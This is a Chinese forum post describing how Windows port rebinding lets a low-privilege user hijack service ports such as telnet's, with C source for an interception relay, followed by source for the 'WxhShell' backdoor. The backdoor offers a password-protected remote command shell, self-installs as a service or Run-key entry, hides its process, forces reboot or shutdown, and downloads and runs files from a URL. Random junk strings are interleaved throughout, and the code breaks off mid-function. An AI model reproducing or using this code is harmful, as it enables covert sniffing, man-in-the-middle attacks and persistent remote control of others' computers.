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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9U=fJrj'u  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nRXSW&V"m  
Uc&6=5~Ys\  
  saddr.sin_family = AF_INET; D,dHP-v  
FS`vK`'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); XnE %$NJ  
9jMC |oE  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); OS"{"P  
^s2m\Q(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 50`iCD  
C^/ -lc  
  这意味着什么?意味着可以进行如下的攻击: lbB.*oQ  
^5;vx  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %|*nmIPq(  
Foe>}6~{?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9'n))%CZ.  
Cgz&@@j,]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Z\|u9DO  
9P7xoXJ@y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {}g %"mi#  
Z(Eke  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 N4a`8dS|  
Ns.3s7&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~IlF*Zz#}6  
oI_oz0nHk  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -7I1Lh#M  
Gpdv]SON{  
  #include dNUR)X#e  
  #include jcEs10y  
  #include  's>#8;X  
  #include    }iua] 4 |  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9u ?)vR[@e  
  int main() Mhe |eD#)  
  { (!ZQ  
  WORD wVersionRequested; I(OAEIz  
  DWORD ret; QN_)3lm  
  WSADATA wsaData; &gGs) $f[  
  BOOL val; |;A9A's  
  SOCKADDR_IN saddr; DO&+=o`"  
  SOCKADDR_IN scaddr; cW)Oi^q%o2  
  int err; NZo<IKD$  
  SOCKET s; <I7(eh6d  
  SOCKET sc; N>d|A]zH  
  int caddsize; %bIsrQ~B  
  HANDLE mt; /~i.\^HX  
  DWORD tid;   Gr5`1`8|  
  wVersionRequested = MAKEWORD( 2, 2 ); ~@T+mHny  
  err = WSAStartup( wVersionRequested, &wsaData ); GA|/7[I}  
  if ( err != 0 ) { JsmbW|t^  
  printf("error!WSAStartup failed!\n"); ^uyNv-'F  
  return -1; bKk CW  
  } [1z{T(dh  
  saddr.sin_family = AF_INET; brg":V1a  
   ;".z[l*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Fke//- R  
(P|pRVO  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); nms8@[4-  
  saddr.sin_port = htons(23); Kq6jw/T  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mEAXM 1J|  
  { Jh/ E@}'  
  printf("error!socket failed!\n"); X` YwP/D  
  return -1; v3[@1FQ"  
  } 6p;m\  
  val = TRUE; }j {!-&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  $)~   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Q[4: xkU  
  { fxQN+6;  
  printf("error!setsockopt failed!\n"); ssQ BSbx  
  return -1; 2\<.0  
  } 'Prxocxq  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Li{~=S@N*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )7cb6jCU  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2tQ`/!m>v$  
$&I 'o  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) oYM3Rgxf9Q  
  { hVpCB,  
  ret=GetLastError(); Fj p.T;  
  printf("error!bind failed!\n"); JCniN";r[  
  return -1; k ]a*&me  
  } ~.g3ukt  
  listen(s,2); 8MwK.H[U  
  while(1) J5M+FwZq  
  { ?\=/$Gt  
  caddsize = sizeof(scaddr); ;3'NMk  
  //接受连接请求 MjL)IgT  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); kSncZ0K{  
  if(sc!=INVALID_SOCKET) z_|oCT!6  
  { .p` pG3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V4w=/e _  
  if(mt==NULL) #;KsJb)N.  
  { $14:(<  
  printf("Thread Creat Failed!\n"); LJlZ^kh  
  break; aBuoHdg;  
  } p<Z3tD;Z  
  } \E1U@6a  
  CloseHandle(mt); g{k1&|  
  } ,T,:-E  
  closesocket(s); <[ Xw)/#  
  WSACleanup(); a6xj\w  
  return 0; sN=6gCau  
  }   jH;Du2w  
  DWORD WINAPI ClientThread(LPVOID lpParam) iP@6hG`:  
  { /u<nLj1  
  SOCKET ss = (SOCKET)lpParam; {}~:&.D  
  SOCKET sc; z,SYw &S  
  unsigned char buf[4096]; Dh| w^Q  
  SOCKADDR_IN saddr; BHDML.r }M  
  long num; 9=l.T/?sf  
  DWORD val; cR7wx 0Aj  
  DWORD ret; 6=_~ 0PcY  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7j<e)"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~"x5U{K48S  
  saddr.sin_family = AF_INET; 4vnUN  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); I,@r5tK o  
  saddr.sin_port = htons(23); fK}h"iH+K  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -Yi,_#3{  
  { Tb;d.^  
  printf("error!socket failed!\n"); 5f'DoT  
  return -1; t0&@h\K  
  } R{YzH56M  
  val = 100; a dfR!&J  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p&p.Q^"ok  
  { oih5B<&f#  
  ret = GetLastError(); dIwe g=x  
  return -1; \/`?  
  } 6c4&VW  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'fV%Z  
  { B:TR2G9UT  
  ret = GetLastError(); e0,'+;*=g  
  return -1; f7urJ'!V  
  } ^?"\?M1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) b p<^R  
  { /hWd/H]  
  printf("error!socket connect failed!\n"); !\ND(  
  closesocket(sc); E`\8TqO  
  closesocket(ss); q-$`k  
  return -1; gApoX0nrv  
  } Y&bM CI6U  
  while(1) Z$KLl((  
  { Lz9#A.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9;t]Hp_+K  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \5 pu|2u  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B/f0P(7  
  num = recv(ss,buf,4096,0); od<b!4k~s  
  if(num>0)  cc=gCE  
  send(sc,buf,num,0); 'Ye v} QM  
  else if(num==0) _m E^rT  
  break; P@}Pk  
  num = recv(sc,buf,4096,0); j|fd-<ng  
  if(num>0) %u\26[/  
  send(ss,buf,num,0); _;9!  
  else if(num==0) Xt/Ksw"wn  
  break; 9v )%dO.  
  } qNgd33u1  
  closesocket(ss); is; XmF*5=  
  closesocket(sc); 8^^[XbH  
  return 0 ; /c# `5L[  
  } mdih-u(T|  
m4w ') r~  
)emOKS  
========================================================== v5ur&egVs  
 NW9n  
下边附上一个代码,,WXhSHELL <lxD}DH=  
5A Bhj*7  
========================================================== [s1pM1x  
*4Fr&^M\  
#include "stdafx.h" -4#2/GXNO  
kYwb -;  
#include <stdio.h> 1$lh"fHU  
#include <string.h> iTo k[uJ}  
#include <windows.h> `s#Hq\C  
#include <winsock2.h> a~LC+8|JW  
#include <winsvc.h> @DAF 6ygs  
#include <urlmon.h> u`:hMFTID  
Gi6T["  
#pragma comment (lib, "Ws2_32.lib")  4-Z()F  
#pragma comment (lib, "urlmon.lib") B6P|Z%E;D6  
9.O8/0w7LV  
#define MAX_USER   100 // 最大客户端连接数 :6kjEI  
#define BUF_SOCK   200 // sock buffer Oc?+M 5  
#define KEY_BUFF   255 // 输入 buffer &p UZDjo?  
V,v[y\  
#define REBOOT     0   // 重启 t=euE{c  
#define SHUTDOWN   1   // 关机 XEM'}+d  
S]3Ev#>  
#define DEF_PORT   5000 // 监听端口 R\Z: n*  
9 t n!t  
#define REG_LEN     16   // 注册表键长度 I3S9Us-\  
#define SVC_LEN     80   // NT服务名长度 u'A#%}3  
9a$56GnW1  
// 从dll定义API kdx y\ jA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6 &U+6gb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K!AAGj`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /(C~~XP)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -ZOBAG*  
th5g\h%j*  
// wxhshell配置信息 I,6/21kO  
struct WSCFG { p4u5mM  
  int ws_port;         // 监听端口 -|yb[~3  
  char ws_passstr[REG_LEN]; // 口令 xvLn'8H.  
  int ws_autoins;       // 安装标记, 1=yes 0=no N6QVt f.  
  char ws_regname[REG_LEN]; // 注册表键名 @R~5-m  
  char ws_svcname[REG_LEN]; // 服务名 *~$~yM/~3U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 { >{B`e`$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G28O%jD?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BfTcI)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o/cjXun*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^,Ydr~|T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M.}7pJ7f  
+ bhym+  
}; vdoZ&Tu  
]LPQYL  
// default Wxhshell configuration cFd > oDS  
struct WSCFG wscfg={DEF_PORT, he3SR @\T  
    "xuhuanlingzhe", s=I'e/"7  
    1, \g)Xt?w0Wo  
    "Wxhshell", eBN)g^  
    "Wxhshell", _#$9 y1bd  
            "WxhShell Service", w>?Un,K  
    "Wrsky Windows CmdShell Service", d?,M/$h  
    "Please Input Your Password: ", :B *}^g  
  1, uUR~&8ERX  
  "http://www.wrsky.com/wxhshell.exe", 1{"llD  
  "Wxhshell.exe" CE NVp"C/`  
    }; lVH<lp_ZtK  
wgeNs9L  
// 消息定义模块 BG2)v.CU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1m<RwI3s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qUF'{K   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )4Q?aMm  
char *msg_ws_ext="\n\rExit."; <pLT'Y=  
char *msg_ws_end="\n\rQuit."; gW(gJ; L,%  
char *msg_ws_boot="\n\rReboot..."; }peBR80tQ  
char *msg_ws_poff="\n\rShutdown..."; ]ekk }0  
char *msg_ws_down="\n\rSave to "; 3*_fzP<R  
DmqX"x%P  
char *msg_ws_err="\n\rErr!"; 7iC *Pr  
char *msg_ws_ok="\n\rOK!"; TTNk r`  
!v#xb3"/  
char ExeFile[MAX_PATH]; {0\,0*^p  
int nUser = 0; Y o0FUj  
HANDLE handles[MAX_USER]; )QKf7 [:  
int OsIsNt; m8]?hJY 3l  
{-zMHVw=}  
SERVICE_STATUS       serviceStatus; ~!6K]hB4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JeH;v0  
z T%U!jqI  
// 函数声明 ,0$)yZ3*3,  
int Install(void); R/b4NGW@  
int Uninstall(void); JYqSL)Ta*t  
int DownloadFile(char *sURL, SOCKET wsh); nCg66-3A  
int Boot(int flag); cRvvzX  
void HideProc(void); 2R-A@UE2  
int GetOsVer(void); [K~]&  
int Wxhshell(SOCKET wsl); 3-s}6<0v1  
void TalkWithClient(void *cs); PnT)LqEF  
int CmdShell(SOCKET sock); &FdWFt=X  
int StartFromService(void); {kI#A?M  
int StartWxhshell(LPSTR lpCmdLine); f}%D"gz  
6w3R'\9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vP!GJX &n5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \79X{mcd  
H( -Y  
// 数据结构和表定义 >/f_F6ay#  
SERVICE_TABLE_ENTRY DispatchTable[] = W><Zn=G4)b  
{ -OZ 5vH0  
{wscfg.ws_svcname, NTServiceMain}, ^:, l\Y  
{NULL, NULL} UsVMoX^  
}; #eP LOR&q  
D bX{#4lx  
// 自我安装 QA!_} N4n  
int Install(void) s,VXc/  
{ Lju7,/UD  
  char svExeFile[MAX_PATH]; UQ Co}vM  
  HKEY key; td2/9|Q  
  strcpy(svExeFile,ExeFile); @=S}=cl  
pI+!92Z  
// 如果是win9x系统,修改注册表设为自启动 !X >=l  
if(!OsIsNt) { =Yo1v=wxN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eS/B24;*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =%)+%[wv  
  RegCloseKey(key); Q3W#`6jpF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aAvsb$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V5}nOGV9  
  RegCloseKey(key); vEM(bT=H  
  return 0; Zx }&c |Q  
    } F7m?xy  
  } ge3sU5iZ  
} 5`/@N{e  
else { .@ C{3$,VG  
6Sj6i^"  
// 如果是NT以上系统,安装为系统服务 Fh7'[>onw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0Y=![tO8  
if (schSCManager!=0) "ceed)(:  
{ >M!xiQX  
  SC_HANDLE schService = CreateService _GQz!YA  
  ( +eX)48  
  schSCManager, S&C1TC  
  wscfg.ws_svcname, xZ5M/YSyG  
  wscfg.ws_svcdisp, %b.UPS@I  
  SERVICE_ALL_ACCESS,  q}Z3?W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  1iT\df  
  SERVICE_AUTO_START, 23(=Xp3;>  
  SERVICE_ERROR_NORMAL, >Y 1{rSk  
  svExeFile, jdeV|H} u  
  NULL, }G46g#_6d>  
  NULL, [36,eK  
  NULL, u]^N&2UW  
  NULL, :yT-9Ze%q  
  NULL $5`!Z%>/  
  ); a\uie$"cr]  
  if (schService!=0) /T^ JS  
  { uNbH\qd=  
  CloseServiceHandle(schService); gQSNU_o Z  
  CloseServiceHandle(schSCManager); NBh%:tu7M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u.pxz8  
  strcat(svExeFile,wscfg.ws_svcname); EY`H}S!xy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3Rg}+[b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fyz nuUl  
  RegCloseKey(key); ER2GjZa\z  
  return 0; =bh*[ , -  
    } ~H)4)r^  
  } m^%|ZTrwN7  
  CloseServiceHandle(schSCManager); ? ]sM8Bd}  
} 7fp(R&)1  
} ^_I} x)i*@  
M/D)".;  
return 1; O/%< }3Sq  
} /5AW?2)  
#0I{.Wy]  
// 自我卸载 q"KnLA(  
int Uninstall(void) T@wcHg  
{ vqslirC  
  HKEY key; P=L$;xgp  
|6:=}dE#[  
if(!OsIsNt) { gMWBu~;!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m4k Bj*6c{  
  RegDeleteValue(key,wscfg.ws_regname); gV1[3dW  
  RegCloseKey(key); o{v&.z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +1C3`0(  
  RegDeleteValue(key,wscfg.ws_regname); +^aFs S  
  RegCloseKey(key); $VG*q  
  return 0; >>l`,+y  
  }  uD_v!  
} wo2@hav  
} z_;3H,z`  
else { _eSd nHWx  
LVIAF0kX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "}WJd$  
if (schSCManager!=0) ~Vh(6q.oT  
{ .Hhhi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1L7{p>;-dO  
  if (schService!=0) e/_C  
  { {s?M*_{|  
  if(DeleteService(schService)!=0) { ivO/;)=t  
  CloseServiceHandle(schService); 148V2H)  
  CloseServiceHandle(schSCManager); o!TQk{0  
  return 0; ubMOD<  
  } QR?yG+VU  
  CloseServiceHandle(schService); 8rZ!ia!  
  } C F!Sa6  
  CloseServiceHandle(schSCManager); <mA'X V,  
} 5cr(S~Q;  
} ubsSa}$q  
%\O#&=$E  
return 1; Agh`]XQ2  
} 3gWvmep1  
M`,~ mU  
// 从指定url下载文件 U=Y)V%  
int DownloadFile(char *sURL, SOCKET wsh) :pX`?Ew`g  
{ r'LVa6e"N  
  HRESULT hr; 6\7nc FO3  
char seps[]= "/"; ))D:8l@  
char *token; !"Yj|Nu6  
char *file; {yAL+}  
char myURL[MAX_PATH]; #qU-j/Qf  
char myFILE[MAX_PATH]; gbOpj3  
`cz2DR-"  
strcpy(myURL,sURL); ?,P3)&3g  
  token=strtok(myURL,seps); <Tw>|cFT  
  while(token!=NULL) 5FVndMM#y  
  { &K_)#v`|  
    file=token; in <(g@Zg  
  token=strtok(NULL,seps); l} ^3fQXI  
  } iF5'ygR-Z  
i!2TH~zl  
GetCurrentDirectory(MAX_PATH,myFILE); oeSN9O  
strcat(myFILE, "\\"); p?[Tm*r  
strcat(myFILE, file); gwrYLZNGI  
  send(wsh,myFILE,strlen(myFILE),0); ^VW PdH/Fe  
send(wsh,"...",3,0); j| Wv7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \?>Hu v  
  if(hr==S_OK) VpfUm?Nq  
return 0; [u@Jc,  
else z't? ?6  
return 1;  %R#L  
_cTh#t ^  
} (YBMsh  
vE6mOM!_L  
// 系统电源模块 #?MY&hdU9  
int Boot(int flag) mOpTzg@  
{ +;BAV  
  HANDLE hToken; 6%`&+Lq  
  TOKEN_PRIVILEGES tkp; 'C$XS>S  
H~eRT1  
  if(OsIsNt) { rD?L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uJx"W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n8=5-7UT  
    tkp.PrivilegeCount = 1; \}6;Kf}\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3<=,1 cU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k 4/D8(OXw  
if(flag==REBOOT) { j.~!dh$mg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D.D$#O_n.S  
  return 0; k$ 5 s{q  
} f:*vr['d  
else { 2 &/v]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /-zXM;h  
  return 0; mS>xGtD&K  
} kp?w2+rz  
  } 1XG!$ 4DW  
  else { ^ PI5L  
if(flag==REBOOT) { 7*j (*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )}Q(Tl\$  
  return 0; Gir#"5F  
} n%h^o   
else { Yw5'6NU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u$%t)2+$4  
  return 0; 5tJ,7Y'  
} Qjx?ri//  
} +[\eFj|=  
KKA~#iCk  
return 1; _AV1WS;^^8  
} R [H+qr  
[' z[  
// win9x进程隐藏模块 G;> _<22  
void HideProc(void) T|&[7%F3"  
{ PFUO8>!pA\  
2._X|~0a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ob+euCuJ  
  if ( hKernel != NULL ) NmK8<9`u  
  { wB'zuPAK6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T0)4v-EO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); EM>}0V  
    FreeLibrary(hKernel); jq'!UN{  
  } Ehz o05/!  
Va Z!.#(P  
return; /TS=7J#  
} _%'},Xd.z  
1+b{}d  
// 获取操作系统版本 N@B9 @8h  
int GetOsVer(void) W\1i,ew>  
{ [m^+,%m5]  
  OSVERSIONINFO winfo; I H$0)g;s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zf3v5Hk  
  GetVersionEx(&winfo); yH][(o=2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dEBcfya  
  return 1; 'B+ ' (f  
  else u3Gjg{-N7  
  return 0;  $R<Me  
} m*e{\)rd#  
tx?dIy;  
// 客户端句柄模块 </uO e.l>Q  
int Wxhshell(SOCKET wsl) %;#^l+UB  
{ cj11S>D  
  SOCKET wsh; CJ}5T]WZ  
  struct sockaddr_in client; G0E121`h  
  DWORD myID; f#ri'&}c :  
$mF_,|  
  while(nUser<MAX_USER) EpQ8a[<-3  
{ `3p~m,  
  int nSize=sizeof(client); `y#UJYXQE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Uye|9/w8 !  
  if(wsh==INVALID_SOCKET) return 1; P%K4[c W~  
Wg`R_>qQSm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y qtKy  
if(handles[nUser]==0) JTi!Xu5Jq  
  closesocket(wsh); O-)-YVU  
else @F(mi1QO  
  nUser++; |bgo;J/  
  } bLt.O(T}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8enEA^  
/VG2.:  
  return 0; ~  T>U  
} phO;c;y}  
iQ{G(^sZN  
// 关闭 socket Ov<NsNX]  
void CloseIt(SOCKET wsh) \9-"M;R.d  
{ .k,YlFvj  
closesocket(wsh); CdL< *AH  
nUser--; 9mZ  
ExitThread(0); k4 F"'N   
} 'vNG(h#%d  
YKQr, Now  
// 客户端请求句柄 !A48TgAeE  
void TalkWithClient(void *cs) ||yzt!n  
{ J90v!p-  
\W1/p`  
  SOCKET wsh=(SOCKET)cs; 1;VHM'  
  char pwd[SVC_LEN]; Jmx Ko+-  
  char cmd[KEY_BUFF]; XrZ*1V  
char chr[1]; arf8xqR-U]  
int i,j; #m={yck *  
T0]MuIJ).  
  while (nUser < MAX_USER) { b86}% FM  
=-p$jXVW%  
if(wscfg.ws_passstr) { tDUwy^j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O$4yAaD X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jaz?Ys|S  
  //ZeroMemory(pwd,KEY_BUFF); [` sL?&a  
      i=0; $ImrOf^qt  
  while(i<SVC_LEN) { aMTu-hA  
2;w*oop,O  
  // 设置超时 &r:7g%{n  
  fd_set FdRead; gCyW Vp  
  struct timeval TimeOut; $ MC)}l  
  FD_ZERO(&FdRead); !>:?rSg*  
  FD_SET(wsh,&FdRead); tJN<PCG6"  
  TimeOut.tv_sec=8; Y".RPiTL  
  TimeOut.tv_usec=0; NVRLrJWpp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); XVU2T5s}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z?35=%~w   
5xL~`-IA&v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }V\N16f  
  pwd=chr[0]; @V!r"Bkg.  
  if(chr[0]==0xd || chr[0]==0xa) { "yW:\   
  pwd=0; S{3nM<  
  break; /&4U6a  
  } )m. 4i=X  
  i++; 7B?c{  
    } ~y7jCcd`  
W 5R\Q,x6  
  // 如果是非法用户,关闭 socket }u1O#L}F5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MHa#?Q9  
} NF? vg/{  
/t(C>$ }p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cv`~y'?D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c%qv9   
o6p98Dpg   
while(1) { ^b %0 B  
#Skv(IL  
  ZeroMemory(cmd,KEY_BUFF); M'/aZ# b  
LW(6$hpPp  
      // 自动支持客户端 telnet标准   +]Y,q w  
  j=0; 4ni3kmvX  
  while(j<KEY_BUFF) { M+x,opl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )rixMl &[  
  cmd[j]=chr[0]; P67o{EdK  
  if(chr[0]==0xa || chr[0]==0xd) { z<5m fAm  
  cmd[j]=0; V(E/'DR  
  break; ccL~#c0P7  
  } +sJrllrE(  
  j++; a`0=AQ  
    } N 8-oY$*  
LcE+GC  
  // 下载文件 ."Y e\>k  
  if(strstr(cmd,"http://")) { D$x_o!JT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R=KQ  
  if(DownloadFile(cmd,wsh)) y a_<^O 9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3g6j?yYqb  
  else nWHa.H#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =lpQnj"  
  } }[xs~! 2F  
  else { FKmFo^^0  
 Sr?#S  
    switch(cmd[0]) { .(WQYOMl0  
  }RP @!=  
  // 帮助 d \35a4l  
  case '?': { `ta7Gc/:UY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l(Q?rwI8Y  
    break; M8TSt\  
  } -ne Kuj  
  // 安装 /S lYm-uQ+  
  case 'i': { 7>~5jYP  
    if(Install()) of@#:Qs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k]I0o)+O.  
    else 3@]SKfoo1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >i6yl5s  
    break; ZGd!IghL  
    } OiP!vn}k  
  // 卸载 b?'yAXk  
  case 'r': { Ft!],n-n*  
    if(Uninstall()) Z R'H \Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S1?-I_t+]  
    else 2J;kSh1,L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2j&AiD  
    break; L~KM=[cn  
    } d0,s"K7@  
  // 显示 wxhshell 所在路径 fX|Y;S-@+  
  case 'p': { &sd}ulEg`  
    char svExeFile[MAX_PATH]; a.zpp'cEb  
    strcpy(svExeFile,"\n\r"); @qHNE,K  
      strcat(svExeFile,ExeFile); 6!(@@^7{*  
        send(wsh,svExeFile,strlen(svExeFile),0); wLH] <k  
    break; (zFi$  
    } }3L@J8:D"  
  // 重启 QMpoa5ZQG  
  case 'b': { (!zy{;g|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eET}r 24  
    if(Boot(REBOOT)) >MvDVPi~+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dmu/RD5X:  
    else { x UD-iSY  
    closesocket(wsh); g"> {9YE  
    ExitThread(0); # m *J&  
    } aVd,xl  
    break; *VZ5B<Ic  
    } Dv/WE>?Aw  
  // 关机 9\DQ>V TQ  
  case 'd': { `9b7>Nn<  
